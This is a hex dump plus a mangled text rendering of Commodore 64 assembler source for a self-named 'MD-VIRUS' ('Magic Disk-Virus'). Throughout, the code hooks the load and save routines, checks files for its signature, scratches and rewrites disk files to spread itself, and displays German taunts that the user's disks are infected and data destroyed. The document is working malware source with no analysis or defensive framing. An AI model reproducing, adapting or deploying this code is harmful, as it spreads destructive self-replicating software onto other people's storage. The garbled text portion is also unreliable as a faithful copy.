00000FB0: 2F 7E 09 20 4A 53 52 24  46 42 38 45 00 9F 2F 88  |/~. JSR$FB8E../.|
00000FC0: 09 20 4C 44 41 24 41 43  00 AB 2F 92 09 20 43 4D  |. LDA$AC../.. CM|
00000FD0: 50 23 30 31 00 B8 2F 9C  09 20 42 45 51 4C 41 42  |P#01../.. BEQLAB|
00000FE0: 31 00 C4 2F A6 09 20 4C  44 59 23 30 31 00 D6 2F  |1../.. LDY#01../|
00000FF0: B0 09 4C 41 42 31 20 4A  53 52 24 45 44 44 44 00  |..LAB1 JSR$EDDD.|
00001000: E2 2F BA 09 20 4C 44 41  24 41 44 00 EE 2F C4 09  |./.. LDA$AD../..|
00001010: 20 43 4D 50 23 30 38 00  FB 2F CE 09 20 42 45 51  | CMP#08../.. BEQ|
00001020: 4C 41 42 32 00 07 30 D8  09 20 4C 44 59 23 30 31  |LAB2..0.. LDY#01|
00001030: 00 19 30 E2 09 4C 41 42  32 20 4A 53 52 24 45 44  |..0..LAB2 JSR$ED|
00001040: 44 44 00 1F 30 EC 09 3B  00 2B 30 F6 09 20 43 50  |DD..0..;.+0.. CP|
00001050: 59 23 30 31 00 3B 30 00  0A 20 42 4E 45 56 49 52  |Y#01.;0.. BNEVIR|
00001060: 55 53 4F 4B 00 47 30 0A  0A 20 4C 44 59 23 30 30  |USOK.G0.. LDY#00|
00001070: 00 58 30 14 0A 20 4A 4D  50 53 41 56 45 43 4F 4E  |.X0.. JMPSAVECON|
00001080: 54 00 5E 30 1E 0A 3B 00  76 30 28 0A 56 49 52 55  |T.^0..;.v0(.VIRU|
00001090: 53 4F 4B 20 4C 44 41 23  3C 28 44 41 54 41 29 00  |SOK LDA#<(DATA).|
000010A0: 82 30 32 0A 20 53 54 41  24 46 42 00 93 30 3C 0A  |.02. STA$FB..0<.|
000010B0: 20 4C 44 41 23 3E 28 44  41 54 41 29 00 9F 30 46  | LDA#>(DATA)..0F|
000010C0: 0A 20 53 54 41 24 46 43  00 B0 30 50 0A 20 4C 44  |. STA$FC..0P. LD|
000010D0: 41 23 3C 28 45 4E 44 45  29 00 BC 30 5A 0A 20 53  |A#<(ENDE)..0Z. S|
000010E0: 54 41 24 46 39 00 CD 30  64 0A 20 4C 44 41 23 3E  |TA$F9..0d. LDA#>|
000010F0: 28 45 4E 44 45 29 00 D9  30 6E 0A 20 53 54 41 24  |(ENDE)..0n. STA$|
00001100: 46 41 00 DF 30 78 0A 3B  00 EB 30 82 0A 20 4C 44  |FA..0x.;..0.. LD|
00001110: 59 23 30 30 00 FF 30 8C  0A 4C 4F 4F 50 20 4C 44  |Y#00..0..LOOP LD|
00001120: 41 28 24 46 42 29 2C 59  00 0D 31 96 0A 20 4A 53  |A($FB),Y..1.. JS|
00001130: 52 24 45 44 44 44 00 1E  31 A0 0A 20 4A 53 52 49  |R$EDDD..1.. JSRI|
00001140: 4E 43 43 4F 55 4E 54 00  2B 31 AA 0A 20 42 43 43  |NCCOUNT.+1.. BCC|
00001150: 4C 4F 4F 50 00 31 31 F0  0A 3B 00 42 31 FA 0A 20  |LOOP.11..;.B1.. |
00001160: 4A 53 52 53 41 56 45 43  4F 4E 54 00 54 31 FC 0A  |JSRSAVECONT.T1..|
00001170: 20 4A 53 52 53 41 56 45  45 52 52 4F 52 00 5A 31  | JSRSAVEERROR.Z1|
00001180: 04 0B 3B 00 67 31 0E 0B  20 41 53 4C 43 4F 50 59  |..;.g1.. ASLCOPY|
00001190: 00 73 31 18 0B 20 42 43  53 47 41 47 00 7C 31 22  |.s1.. BCSGAG.|1"|
000011A0: 0B 20 52 54 53 00 A2 31  2C 0B 3B 2A 2A 2A 2A 2A  |. RTS..1,.;*****|
000011B0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
000011C0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 00 B1 31 C4 13  |***********..1..|
000011D0: 47 41 47 20 4C 44 58 23  30 30 00 C2 31 CE 13 20  |GAG LDX#00..1.. |
000011E0: 53 54 58 43 52 53 52 46  4C 41 47 00 D0 31 D8 13  |STXCRSRFLAG..1..|
000011F0: 20 53 54 58 24 44 30 32  30 00 DE 31 E2 13 20 53  | STX$D020..1.. S|
00001200: 54 58 24 44 30 32 31 00  EE 31 EC 13 20 53 54 58  |TX$D021..1.. STX|
00001210: 43 4F 55 4E 54 4C 4F 00  F7 31 F6 13 20 49 4E 58  |COUNTLO..1.. INX|
00001220: 00 03 32 00 14 20 53 54  58 36 34 36 00 12 32 0A  |..2.. STX646..2.|
00001230: 14 20 53 54 58 56 49 43  2B 32 31 00 1B 32 14 14  |. STXVIC+21..2..|
00001240: 3B 20 20 A0 00 27 32 1E  14 20 4C 44 41 23 31 32  |;  ..'2.. LDA#12|
00001250: 00 36 32 28 14 20 53 54  41 56 49 43 2B 33 39 00  |.62(. STAVIC+39.|
00001260: 42 32 32 14 20 4C 44 41  23 32 34 00 4E 32 3C 14  |B22. LDA#24.N2<.|
00001270: 20 53 54 41 56 49 43 00  5A 32 46 14 20 4C 44 41  | STAVIC.Z2F. LDA|
00001280: 23 32 37 00 68 32 50 14  20 53 54 41 56 49 43 2B  |#27.h2P. STAVIC+|
00001290: 31 00 74 32 5A 14 20 4C  44 41 23 31 33 00 81 32  |1.t2Z. LDA#13..2|
000012A0: 64 14 20 53 54 41 32 30  34 30 00 87 32 6E 14 3B  |d. STA2040..2n.;|
000012B0: 00 93 32 78 14 20 4C 44  59 23 31 32 00 9F 32 82  |..2x. LDY#12..2.|
000012C0: 14 20 4C 44 41 23 30 30  00 B3 32 8C 14 53 4C 4F  |. LDA#00..2..SLO|
000012D0: 4F 50 34 20 53 54 41 38  33 32 2C 59 00 BC 32 96  |OP4 STA832,Y..2.|
000012E0: 14 20 44 45 59 00 CB 32  A0 14 20 42 50 4C 53 4C  |. DEY..2.. BPLSL|
000012F0: 4F 4F 50 34 00 D1 32 AA  14 3B 00 DD 32 B4 14 20  |OOP4..2..;..2.. |
00001300: 4C 44 59 23 35 30 00 F4  32 BE 14 53 4C 4F 4F 50  |LDY#50..2..SLOOP|
00001310: 33 20 4C 44 41 53 50 52  44 41 54 2C 59 00 02 33  |3 LDASPRDAT,Y..3|
00001320: C8 14 20 53 54 41 38 34  35 2C 59 00 0B 33 D2 14  |.. STA845,Y..3..|
00001330: 20 44 45 59 00 1A 33 DC  14 20 42 50 4C 53 4C 4F  | DEY..3.. BPLSLO|
00001340: 4F 50 33 00 20 33 E6 14  3B 00 2C 33 E7 14 20 4C  |OP3. 3..;.,3.. L|
00001350: 44 41 23 31 33 00 3A 33  E8 14 20 4A 53 52 42 53  |DA#13.:3.. JSRBS|
00001360: 4F 55 54 00 46 33 F0 14  20 4C 44 41 23 33 32 00  |OUT.F3.. LDA#32.|
00001370: 54 33 FA 14 20 4A 53 52  42 53 4F 55 54 00 7A 33  |T3.. JSRBSOUT.z3|
00001380: 04 15 3B 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |..;*************|
00001390: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
000013A0: 2A 2A 2A 00 8F 33 0E 15  43 41 4C 43 20 4C 44 41  |***..3..CALC LDA|
000013B0: 43 52 53 52 4C 49 4E 45  00 98 33 18 15 20 43 4C  |CRSRLINE..3.. CL|
000013C0: 43 00 A4 33 22 15 20 41  44 43 23 30 33 00 AD 33  |C..3". ADC#03..3|
000013D0: 2C 15 20 4C 53 52 00 BD  33 36 15 20 52 4F 52 43  |,. LSR..36. RORC|
000013E0: 4F 55 4E 54 4C 4F 00 C6  33 40 15 20 43 4C 43 00  |OUNTLO..3@. CLC.|
000013F0: D3 33 4A 15 20 41 44 43  23 24 36 30 00 E3 33 54  |.3J. ADC#$60..3T|
00001400: 15 20 53 54 41 43 4F 55  4E 54 48 49 00 09 34 5E  |. STACOUNTHI..4^|
00001410: 15 3B 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |.;**************|
00001420: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00001430: 2A 2A 00 1A 34 68 15 53  4F 55 4E 44 20 4C 44 41  |**..4h.SOUND LDA|
00001440: 23 31 35 00 29 34 72 15  20 53 54 41 53 49 44 2B  |#15.)4r. STASID+|
00001450: 32 34 00 39 34 7C 15 20  53 54 41 43 4F 55 4E 54  |24.94|. STACOUNT|
00001460: 45 52 00 45 34 86 15 20  4C 44 58 23 30 31 00 52  |ER.E4.. LDX#01.R|
00001470: 34 90 15 20 4C 44 59 23  24 37 38 00 5E 34 9A 15  |4.. LDY#$78.^4..|
00001480: 20 53 54 58 53 49 44 00  6C 34 A4 15 20 53 54 59  | STXSID.l4.. STY|
00001490: 53 49 44 2B 31 00 7A 34  AE 15 20 53 54 58 46 52  |SID+1.z4.. STXFR|
000014A0: 51 4C 4F 00 88 34 B8 15  20 53 54 59 46 52 51 48  |QLO..4.. STYFRQH|
000014B0: 49 00 95 34 C2 15 20 4C  44 58 23 24 45 30 00 A2  |I..4.. LDX#$E0..|
000014C0: 34 CC 15 20 4C 44 59 23  24 46 30 00 B0 34 D6 15  |4.. LDY#$F0..4..|
000014D0: 20 53 54 58 53 49 44 2B  35 00 BE 34 E0 15 20 53  | STXSID+5..4.. S|
000014E0: 54 59 53 49 44 2B 36 00  CA 34 EA 15 20 4C 44 41  |TYSID+6..4.. LDA|
000014F0: 23 33 33 00 D8 34 F4 15  20 53 54 41 53 49 44 2B  |#33..4.. STASID+|
00001500: 34 00 DE 34 FE 15 3B 00  F0 34 08 16 53 4C 4F 4F  |4..4..;..4..SLOO|
00001510: 50 32 20 4C 44 59 23 30  31 00 FD 34 12 16 20 4A  |P2 LDY#01..4.. J|
00001520: 53 52 57 41 49 54 00 0B  35 1C 16 20 44 45 43 46  |SRWAIT..5.. DECF|
00001530: 52 51 4C 4F 00 17 35 26  16 20 42 4E 45 53 4C 31  |RQLO..5&. BNESL1|
00001540: 00 25 35 30 16 20 44 45  43 46 52 51 48 49 00 2E  |.%50. DECFRQHI..|
00001550: 35 3A 16 3B 2A 2A 2A 00  41 35 44 16 53 4C 31 20  |5:.;***.A5D.SL1 |
00001560: 4C 44 41 43 4F 55 4E 54  48 49 00 4F 35 4E 16 20  |LDACOUNTHI.O5N. |
00001570: 43 4D 50 46 52 51 48 49  00 5B 35 58 16 20 42 43  |CMPFRQHI.[5X. BC|
00001580: 43 53 4C 35 00 67 35 62  16 20 42 4E 45 53 4C 36  |CSL5.g5b. BNESL6|
00001590: 00 77 35 6C 16 20 4C 44  41 43 4F 55 4E 54 4C 4F  |.w5l. LDACOUNTLO|
000015A0: 00 85 35 76 16 20 43 4D  50 46 52 51 4C 4F 00 91  |..5v. CMPFRQLO..|
000015B0: 35 80 16 20 42 43 43 53  4C 35 00 A4 35 8A 16 53  |5.. BCCSL5..5..S|
000015C0: 4C 36 20 44 45 43 43 4F  55 4E 54 45 52 00 B0 35  |L6 DECCOUNTER..5|
000015D0: 94 16 20 42 50 4C 53 4C  35 00 BE 35 9E 16 20 49  |.. BPLSL5..5.. I|
000015E0: 4E 43 56 49 43 2B 31 00  CA 35 A8 16 20 4C 44 41  |NCVIC+1..5.. LDA|
000015F0: 23 31 35 00 DA 35 B2 16  20 53 54 41 43 4F 55 4E  |#15..5.. STACOUN|
00001600: 54 45 52 00 E3 35 BC 16  3B 2A 2A 2A 00 F4 35 C6  |TER..5..;***..5.|
00001610: 16 53 4C 35 20 4C 44 41  46 52 51 48 49 00 01 36  |.SL5 LDAFRQHI..6|
00001620: D0 16 20 43 4D 50 23 24  36 30 00 0D 36 DA 16 20  |.. CMP#$60..6.. |
00001630: 42 45 51 42 59 45 00 1B  36 E4 16 20 53 54 41 53  |BEQBYE..6.. STAS|
00001640: 49 44 2B 31 00 29 36 EE  16 20 4C 44 41 46 52 51  |ID+1.)6.. LDAFRQ|
00001650: 4C 4F 00 35 36 F8 16 20  53 54 41 53 49 44 00 44  |LO.56.. STASID.D|
00001660: 36 02 17 20 4A 4D 50 53  4C 4F 4F 50 32 00 4A 36  |6.. JMPSLOOP2.J6|
00001670: 0C 17 3B 00 5B 36 16 17  42 59 45 20 53 54 59 53  |..;.[6..BYE STYS|
00001680: 49 44 2B 34 00 6A 36 20  17 20 53 54 59 53 49 44  |ID+4.j6 . STYSID|
00001690: 2B 32 34 00 77 36 2A 17  20 4C 44 41 23 22 AF 22  |+24.w6*. LDA#"."|
000016A0: 00 85 36 34 17 20 4A 53  52 42 53 4F 55 54 00 96  |..64. JSRBSOUT..|
000016B0: 36 3E 17 20 53 54 41 43  52 53 52 46 4C 41 47 00  |6>. STACRSRFLAG.|
000016C0: A3 36 48 17 20 4C 44 59  23 24 46 46 00 B0 36 52  |.6H. LDY#$FF..6R|
000016D0: 17 20 4A 53 52 57 41 49  54 00 BF 36 5C 17 20 53  |. JSRWAIT..6\. S|
000016E0: 54 59 56 49 43 2B 32 31  00 D3 36 66 17 20 4C 44  |TYVIC+21..6f. LD|
000016F0: 41 23 3C 28 57 41 52 4E  49 4E 47 29 00 E7 36 70  |A#<(WARNING)..6p|
00001700: 17 20 4C 44 59 23 3E 28  57 41 52 4E 49 4E 47 29  |. LDY#>(WARNING)|
00001710: 00 F6 36 7A 17 20 4A 53  52 53 54 52 4F 55 54 00  |..6z. JSRSTROUT.|
00001720: 03 37 84 17 20 4A 4D 50  49 4E 49 54 00 29 37 40  |.7.. JMPINIT.)7@|
00001730: 1F 3B 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |.;**************|
00001740: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00001750: 2A 2A 00 39 37 4A 1F 57  41 49 54 20 4C 44 58 23  |**.97J.WAIT LDX#|
00001760: 30 30 00 48 37 54 1F 53  4C 4F 4F 50 31 20 44 45  |00.H7T.SLOOP1 DE|
00001770: 58 00 57 37 5E 1F 20 42  4E 45 53 4C 4F 4F 50 31  |X.W7^. BNESLOOP1|
00001780: 00 60 37 68 1F 20 44 45  59 00 6F 37 72 1F 20 42  |.`7h. DEY.o7r. B|
00001790: 4E 45 53 4C 4F 4F 50 31  00 78 37 7C 1F 20 52 54  |NESLOOP1.x7|. RT|
000017A0: 53 00 9E 37 86 1F 3B 2A  2A 2A 2A 2A 2A 2A 2A 2A  |S..7..;*********|
000017B0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
000017C0: 2A 2A 2A 2A 2A 2A 2A 00  B2 37 12 20 49 4E 43 43  |*******..7. INCC|
000017D0: 4F 55 4E 54 20 49 4E 43  24 46 42 00 BF 37 1C 20  |OUNT INC$FB..7. |
000017E0: 20 42 4E 45 4C 41 42 33  00 CB 37 26 20 20 49 4E  | BNELAB3..7&  IN|
000017F0: 43 24 46 43 00 DB 37 30  20 4C 41 42 33 20 4C 44  |C$FC..70 LAB3 LD|
00001800: 41 24 46 42 00 E7 37 3A  20 20 43 4D 50 24 46 39  |A$FB..7:  CMP$F9|
00001810: 00 F6 37 44 20 20 42 4E  45 57 45 49 54 45 52 00  |..7D  BNEWEITER.|
00001820: 02 38 4E 20 20 4C 44 41  24 46 43 00 0E 38 58 20  |.8N  LDA$FC..8X |
00001830: 20 43 4D 50 24 46 41 00  1D 38 62 20 20 42 4E 45  | CMP$FA..8b  BNE|
00001840: 57 45 49 54 45 52 00 26  38 76 20 20 53 45 43 00  |WEITER.&8v  SEC.|
00001850: 2F 38 80 20 20 52 54 53  00 35 38 8A 20 3B 00 44  |/8.  RTS.58. ;.D|
00001860: 38 94 20 57 45 49 54 45  52 20 43 4C 43 00 4D 38  |8. WEITER CLC.M8|
00001870: 9E 20 20 52 54 53 00 73  38 10 27 3B 2A 2A 2A 2A  |.  RTS.s8.';****|
00001880: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00001890: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 00 AA 38 1A  |************..8.|
000018A0: 27 53 50 52 44 41 54 20  2E 42 59 31 32 34 2C 30  |'SPRDAT .BY124,0|
000018B0: 2C 30 2C 31 39 38 2C 30  2C 30 2C 31 39 38 2C 30  |,0,198,0,0,198,0|
000018C0: 2C 30 2C 31 30 38 2C 30  2C 33 31 2C 32 35 35 2C  |,0,108,0,31,255,|
000018D0: 32 34 38 00 F8 38 24 27  2E 42 59 20 33 31 2C 31  |248..8$'.BY 31,1|
000018E0: 37 37 2C 32 34 38 2C 33  31 2C 31 38 33 2C 32 34  |77,248,31,183,24|
000018F0: 38 2C 36 33 2C 31 37 37  2C 32 35 32 2C 36 33 2C  |8,63,177,252,63,|
00001900: 31 38 31 2C 32 35 32 2C  36 33 2C 31 37 37 2C 32  |181,252,63,177,2|
00001910: 35 32 2C 36 33 2C 32 35  35 2C 32 35 32 2C 31 31  |52,63,255,252,11|
00001920: 33 00 43 39 2E 27 2E 42  59 20 32 32 2C 31 34 32  |3.C9.'.BY 22,142|
00001930: 2C 31 32 33 2C 38 32 2C  31 39 30 2C 31 32 33 2C  |,123,82,190,123,|
00001940: 38 34 2C 31 34 32 2C 32  35 31 2C 38 34 2C 32 33  |84,142,251,84,23|
00001950: 39 2C 32 35 31 2C 32 32  2C 31 34 33 2C 32 35 35  |9,251,22,143,255|
00001960: 2C 32 35 35 2C 32 35 35  2C 32 35 35 00 69 39 38  |,255,255,255.i98|
00001970: 27 3B 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |';**************|
00001980: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00001990: 2A 2A 00 82 39 42 27 43  42 4D 20 2E 57 4F 52 45  |**..9B'CBM .WORE|
000019A0: 53 45 54 2C 52 45 53 54  4F 52 45 00 92 39 4C 27  |SET,RESTORE..9L'|
000019B0: 20 2E 54 58 22 C3 C2 CD  38 30 22 00 A7 39 56 27  | .TX"...80"..9V'|
000019C0: 54 41 42 20 2E 57 4F 4C  4F 41 44 2C 53 41 56 45  |TAB .WOLOAD,SAVE|
000019D0: 00 BB 39 5B 27 45 52 52  4F 52 54 45 58 54 20 2E  |..9['ERRORTEXT .|
000019E0: 42 59 31 33 00 E9 39 60  27 2E 54 58 20 22 C4 45  |BY13..9`'.TX ".E|
000019F0: 52 20 12 CD 41 47 49 43  C4 49 53 4B 2D D6 49 52  |R ..AGIC.ISK-.IR|
00001A00: 55 53 92 20 49 53 54 20  49 4E 20 44 49 45 53 45  |US. IST IN DIESE|
00001A10: 4D 22 00 F3 39 61 27 2E  42 59 31 33 00 25 3A 6A  |M"..9a'.BY13.%:j|
00001A20: 27 2E 54 58 20 22 C3 36  34 20 21 21 21 20 D3 4F  |'.TX ".64 !!! .O|
00001A30: 45 42 45 4E 20 57 55 52  44 45 4E 20 C4 41 54 45  |EBEN WURDEN .ATE|
00001A40: 4E 20 5A 45 52 53 54 4F  45 52 54 20 21 22 00 2F  |N ZERSTOERT !"./|
00001A50: 3A 6B 27 2E 42 59 31 33  00 5F 3A 74 27 2E 54 58  |:k'.BY13._:t'.TX|
00001A60: 20 22 C2 49 54 54 45 20  D0 52 4F 47 52 41 4D 4D  | ".ITTE .ROGRAMM|
00001A70: 20 41 55 46 20 45 49 4E  45 52 20 41 4E 44 45 52  | AUF EINER ANDER|
00001A80: 45 4E 20 C4 49 53 4B 22  00 69 3A 75 27 2E 42 59  |EN .ISK".i:u'.BY|
00001A90: 31 33 00 83 3A 7E 27 2E  54 58 20 22 41 42 53 50  |13..:~'.TX "ABSP|
00001AA0: 45 49 43 48 45 52 4E 20  21 21 21 22 00 93 3A 88  |EICHERN !!!"..:.|
00001AB0: 27 2E 42 59 20 31 33 2C  31 34 2C 30 00 B9 3A 92  |'.BY 13,14,0..:.|
00001AC0: 27 3B 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |';**************|
00001AD0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00001AE0: 2A 2A 00 CB 3A 97 27 57  41 52 4E 49 4E 47 20 2E  |**..:.'WARNING .|
00001AF0: 42 59 31 33 00 FE 3A 9C  27 2E 54 58 20 22 C8 41  |BY13..:.'.TX ".A|
00001B00: 4C 4C 4F 20 44 55 20 21  20 C4 45 49 4E 20 36 34  |LLO DU ! .EIN 64|
00001B10: 45 52 20 4C 45 42 54 20  21 20 C5 49 4E 20 50 41  |ER LEBT ! .IN PA|
00001B20: 41 52 20 56 4F 4E 22 00  08 3B 9D 27 2E 42 59 31  |AR VON"..;.'.BY1|
00001B30: 33 00 38 3B A6 27 2E 54  58 20 22 44 45 49 4E 45  |3.8;.'.TX "DEINE|
00001B40: 4E 20 C4 49 53 4B 45 54  54 45 4E 20 57 55 52 44  |N .ISKETTEN WURD|
00001B50: 45 4E 20 49 4E 46 49 5A  49 45 52 54 20 4D 49 54  |EN INFIZIERT MIT|
00001B60: 22 00 42 3B A7 27 2E 42  59 31 33 00 64 3B B0 27  |".B;.'.BY13.d;.'|
00001B70: 2E 54 58 22 44 45 4D 20  12 CD 41 47 49 43 C4 49  |.TX"DEM ..AGIC.I|
00001B80: 53 4B 2D D6 49 52 55 53  92 2E 2E 2E 22 00 74 3B  |SK-.IRUS....".t;|
00001B90: BA 27 2E 42 59 20 31 33  2C 31 34 2C 30 00 9A 3B  |.'.BY 13,14,0..;|
00001BA0: C4 27 3B 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |.';*************|
00001BB0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00001BC0: 2A 2A 2A 00 AF 3B CE 27  4E 41 4D 45 42 55 46 46  |***..;.'NAMEBUFF|
00001BD0: 20 2E 54 58 22 53 3A 22  00 BD 3B D8 27 45 4E 44  | .TX"S:"..;.'END|
00001BE0: 45 20 2E 42 59 30 00 00  00                       |E .BY0...       |

X......BA $CBAF.....;......EQ STATUS=$90
.. ...EQ SAVECONT=$F624.) (..EQ FILELO=$
BB.< 2..EQ FILEHI=$BC.Q <..EQ FILELENG=$
B7.F F..EQ SETPAR=$FFBA.{ P..EQ SETNAM=$
FFBD.. Z..EQ OPEN=$FFC0.. D..EQ CLOSE=$F
FC3.. N..EQ SAVECBM=$FFD8.M X..EQ STROUT
=$AB1E.. Y..EQ BSOUT=$FFD2.. Z.;***.. |.
.EQ SID=54272..!}..EQ CRSRFLAG=204.&!~..
EQ CRSRLINE=214.8!..EQ VIC=$D000.A!..;*
**.V!...EQ FRQLO=DATA-1.K!...EQ FRQHI=DA
TA-2..!...EQ COUNTLO=DATA-3..!...EQ COUN
THI=DATA-4..!...EQ COUNTER=DATA-5.G!...E
Q LENGNAM=DATA-6..!...EQ REALEND=ENDE-DA
TA+$0801.."..;**************************
******.-"..DATA .BY$15,$08,$0A,$00,$9E.F
"...TX "2071:MD-VIRUS!".T" ..BY 0,0,0.Z"
..;********************************.."..
COPYUP LDA#$37..".. STA$01.."H. LDX#$01.
."R. LDY#$08..".. STX$5F.K".. STY$60..".
. LDX#<(REALEND)..".. LDY#>(REALEND)..".
. STX$5A..#.. STY$5B..#.. LDX#$F0.%#". L
DY#$CF.1#,. STX$58.=#6. STY$59.K#@. JSR$
A3BF.Y#J. JMPSTART.~#T.;****************
***************..#^.START LDA#$36..#H. S
TA$01..#R.;..#S. LDX#01..#T. LDY#08.I#U.
 STXLAB5+1.X#V. STYLAB5+2..#|. LDX#<(REA
LEND)..$.. LDY#>(REALEND)..$.. STX$FB..$
.. STY$FC.$$.. LDX$AE.0$.. LDY$AF.<$.. S
TX$F9.H$.. STY$FA.N$L.;.Z$V. LDY#00.F$..
 LDX#00.{$..LOOP8 LDA($FB),Y..$..LAB5 ST
A$0801,X..$.. INX..$.. BNELAB4..$.. INCL
AB5+2.I$..LAB4 JSRINCCOUNT.W$.. BCCLOOP8
..$..;..$.. LDYLAB5+2..$.. STX$AE..%.. S
TY$AF..%.. STX$2D..%.. STY$2E."%F.;./%P.
 LDA#$37.;%Z. STA$01.A%..;.N%.. JSRINIT.
\%.. JSR$A659.J%.. JMP$A7AE..%..;*******
*************************..%H.RESTORE JS
R$FD15..%R. JSR$FDA3.A%\. JSR$E518.O%F. 
JSRINIT2..%P. JMP($A002)..&Z.;**********
**********************..&..SAVE1 JMPSAVE
.=&..;********************************.P
&..RESET STX$D016.^&.. JSR$FDA3.L&.. JSR
$FD50.Z&.. JSR$FD15..&J. JSR$FF5B..&T. C
LI..&.. JSRINIT2..&.. JMP($A000).U&..;**
******************************..&..LOAD 
PHA..&.. LDAFILELO..&.. STA$FB..'.. LDAF
ILEHI..'$. STA$FC.)'.. LDYFILELENG.9'8. 
STYLENGNAM.N'B.LOOP2 LDA($FB),Y.C'L. STA
NAMEBUFF+2,Y.L'V. DEY.Z'`. BPLLOOP2..'J.
 PLA..'T.;..'~. STA$93..'.. LDA#$00..'..
 STA$90..'.. LDA$BA.H'.. BNEXF4B2..'..XF
4AF JMP$F713..'..XF4B2 CMP#$03..'D. BEQX
F4AF..(N. BCCXF533..(X.;..(.. LDY$B7.)(.
. BNEXF4BF.7(.. JMP$F710.H(..XF4BF LDX$B
9.V(.. JSR$F5AF.C(.. LDA#$60.O(.. STA$B9
.}((. JSR$F3D5..(2. LDA$BA..(<. JSR$ED09
..(F. LDA$B9..(P. JSR$EDC7..(Z. JSR$EE13
.K(D. STA$AE.Q(N.;..(X. CMP#01..(.. BNEC
BMLOAD1..(..;..).. LDA$90..) . LSR..).. 
LSR.$).. BCSLOADERROR.2).. JSR$EE13.>)H.
 STA$AF.D)R.;.P).. CMP#08.A).. BNECBMLOA
D2.O).. JSR$F4E5.).. BCCINFTEST..).. RT
S..)..;********************************.
E)..LOADERROR JMP$F704.X)".XF533 JMP$F53
3..),.CBMLOAD1 JMP$F4DA..*6.CBMLOAD2 JMP
$F4E5.**@.;*****************************
***.=*J.INFTEST LDY#17.R*T.LOOP7 LDA$080
1,Y.A*^. CMPDATA,Y.Q*H. BNESCRATCH.Z*R. 
DEY..*|. BPLLOOP7..*.. JMP($A002)..*..;.
.*..SCRATCH LDA#01..*.. LDX#08.I*.. LDY#
15.X*B. JSRSETPAR..*L. LDALENGNAM..*V. C
LC..*.. ADC#02..+.. LDX#<(NAMEBUFF).'+..
 LDY#>(NAMEBUFF).6+.. JSRSETNAM.C+.. JSR
OPEN.O+.. LDA#01.]+.. JSRCLOSE.C+&.;.S+0
. LDYLENGNAM..+:. LDANAMEBUFF+1,Y..+D. C
MP#"*"..+N. BNECONT..+X. DEY..+B.;..+..C
ONT TYA.U+.. LDX#<(NAMEBUFF)+2..+.. LDY#
>(NAMEBUFF)..+.. JSRSETNAM..,.. LDX#08..
, . JSRSETPAR. ,.. LDX#01.,,.. LDY#08.8,
.. STX$C1.D,F. STY$C2.P,P. LDX#00.],Z. J
SRSAVE.O,.. JMPSAVEERROR..,..;**********
**********************..,..INIT LDA#01..
,.. STACOPY.C, .INIT2 LDY#03.V,*.LOOP3 L
DATAB,Y..,4. STA$0330,Y..,>. DEY..,H. BP
LLOOP3..-R.;..-\. LDY#08."-F.LOOP4 LDACB
M,Y.2-P. STA$8000,Y.;-Z. DEY.I-.. BPLLOO
P4.O-..;.X-.. RTS.~-..;*****************
***************..-..XF659 JMP$F659..-..C
OPY .BY0.E-..;**************************
******..-..SAVEERROR LDASTATUS..-.. BNES
HIT..-.. RTS.....SHIT LDA#<(ERRORTEXT).#
... LDY#>(ERRORTEXT).2... JMPSTROUT.X...
;********************************.H...SA
VE LDA$BA.V... BNEXF5F4.....XF5F1 JMP$F7
13...J.XF5F4 CMP#$03...T. BEQXF5F1..... 
BCCXF659.....;.J... LDA#$61.V... STA$B9.
.... LDY$B7..... BNEXF605..... JMP$F710.
./$.XF605 CPX#00. /.. BEQNOSAVING../8. J
SR$F68F.D/B.NOSAVING JSR$F3D5.P/L. LDA$B
A.^/V. JSR$ED0C.J/`. LDA$B9.X/J. JSR$EDB
9../T. LDY#$00../~. JSR$FB8E../.. LDA$AC
../.. CMP#01../.. BEQLAB1.D/.. LDY#01.V/
..LAB1 JSR$EDDD../.. LDA$AD../D. CMP#08.
./N. BEQLAB2..0X. LDY#01..0..LAB2 JSR$ED
DD..0..;.+0.. CPY#01.;0.. BNEVIRUSOK.G0.
. LDY#00.X0.. JMPSAVECONT.^0..;.V0(.VIRU
SOK LDA#<(DATA)..02. STA$FB..0<. LDA#>(D
ATA)..0F. STA$FC..0P. LDA#<(ENDE)..0Z. S
TA$F9.M0D. LDA#>(ENDE).Y0N. STA$FA..0X.;
..0.. LDY#00..0..LOOP LDA($FB),Y..1.. JS
R$EDDD..1 . JSRINCCOUNT.+1.. BCCLOOP.11.
.;.B1.. JSRSAVECONT.T1.. JSRSAVEERROR.Z1
..;.G1.. ASLCOPY.S1.. BCSGAG.|1". RTS..1
,.;********************************..1D.
GAG LDX#00.B1N. STXCRSRFLAG.P1X. STX$D02
0..1.. STX$D021..1.. STXCOUNTLO..1.. INX
..2.. STX646..2.. STXVIC+21..2..;   .'2.
. LDA#12.62(. STAVIC+39.B22. LDA#24.N2<.
 STAVIC.Z2F. LDA#27.H2P. STAVIC+1.T2Z. L
DA#13..2D. STA2040..2N.;..2X. LDY#12..2.
. LDA#00..2..SLOOP4 STA832,Y..2.. DEY.K2
 . BPLSLOOP4.Q2..;..2.. LDY#50..2..SLOOP
